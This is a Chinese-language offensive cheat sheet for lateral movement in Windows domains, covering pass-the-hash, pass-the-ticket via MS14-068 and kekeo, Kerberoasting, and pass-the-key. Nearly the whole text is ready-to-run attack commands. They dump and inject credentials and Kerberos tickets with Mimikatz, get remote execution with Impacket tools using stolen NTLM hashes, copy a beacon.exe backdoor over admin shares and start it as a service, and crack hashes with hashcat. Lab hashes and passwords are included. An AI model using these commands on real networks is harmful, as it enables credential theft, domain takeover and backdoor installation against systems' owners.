pass the hash(哈希传递攻击,PTH)
pass the ticket(票据传递攻击,PTT)
pass the key(密钥传递攻击,PTK)
思路:
明文传递 -> PTH -> PTT -> PTK(AES)
PTH
LM NTLM区别

Mimikatz
mimikatz privilege::debug//启用调试权限
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
net use \\192.168.3.32\c$//ipc连接
copy beacon.exe \\192.168.3.32\c$//复制后门到本地
sc \\sqlserver create bshell binpath= "c:\4.exe"//创建 bshell 任务为 4.exe
sc \\sqlserver start bshell//执行 bshell 任务
Impacket-at & ps & wmi & smb
psexec -hashes :NTLM值 域名/域用户@域内ip地址
smbexec -hashes :NTLM值 域名/域用户@域内ip地址
wmiexec -hashes :NTLM值 域名/域用户@域内ip地址
//前两篇文章有详细介绍
D:\Myproject\venv\Scripts\python.exe psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
D:\Myproject\venv\Scripts\python.exe smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
D:\Myproject\venv\Scripts\python.exe wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
hash 破解
工具 hashcat,字典爆破或者碰撞硬破解
字典破解:
hashcat.exe -a 0 -m 1000 hash.txt pass.txt
暴力破解:
hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?d
?l 小写
?s 符号
?d 数字
?u 大写
-m 1000 是 ntlm
PTT
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
漏洞 MS14-068
密钥分发中心 KDC 服务中的漏洞
允许经过身份验证的用户在 Kerberos 票据中插入任意 PAC
操作流程
1.获取SID:shell whoami/user -> 记录
2.生成票据文件:
成功后会提示生成一个票据文件
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
//webadmin为用户名,god.org为域名,-s之后是获取到的SID,-d 后面是目标主机IP,-p后面是明文密码;工具直接上传到被控主机
3、清除票据连接:
shell klist purge
查看票据:shell klist
4、内存导入票据:
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
//这里用的是刚刚生成的票据文件名
5、连接目标上线:
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell
NTLM > 票据
通过我们获取的 hash 生成票据
工具 kekeo,需要上传
操作流程
生成票据:shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据:shell klist
利用票据连接:shell dir \\owa2010cn-god\c$
注意:成功不成功看ntlm哈希值的正确性
历史遗留
登录过域控或者域控主动登陆过你
操作流程
导出票据:
mimikatz sekurlsa::tickets /export
导入票据:
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
//一般选择40开头,不行再选择60开头
查看票据:shell klist
利用票据连接:shell dir \\owa2010cn-god\c$
注意:成功不成功看当前主机有没有被目标连接过
票据爆破成明文
利用通讯类型进行爆破
Kerberos攻击条件
采用rc4加密类型票据,工具Rubeus&impacket检测或看票据加密类型
Kerberoasting 攻击的利用
•SPN服务发现
•请求服务票据
•服务票据的导出
•服务票据的暴力破解
https://hashcat.net/hashcat/
https://github.com/fortra/impacket
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
操作流程
1、扫描:
powershell setspn -T 0day.org -q /
powershell setspn -T 0day.org -q / | findstr "MSSQL"
2、检测加请求:
Rubeus kerberoast
impacket-getuserspns
请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt
python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/jack:admin!@#45 -outputfile hash.txt
3.手工请求:(要产生票据文件)
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433
4.导出:
mimikatz kerberos::list /export
5.破解:
文件票据:python tgsrepcrack.py pass.txt "xx.kirbi"
HASH密文:hashcat -m 13100 hash.txt pass.txt --force
注意:成功不成功看当前主机票据加密类型(RC4)
PTK
如果票据加密类型为aes,系统安装了KB2871997补丁且禁用了NTLM的时候,抓取ntlm hash就没用了,我们可以尝试PTK
mimikatz sekurlsa::ekeys//获取aes256
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值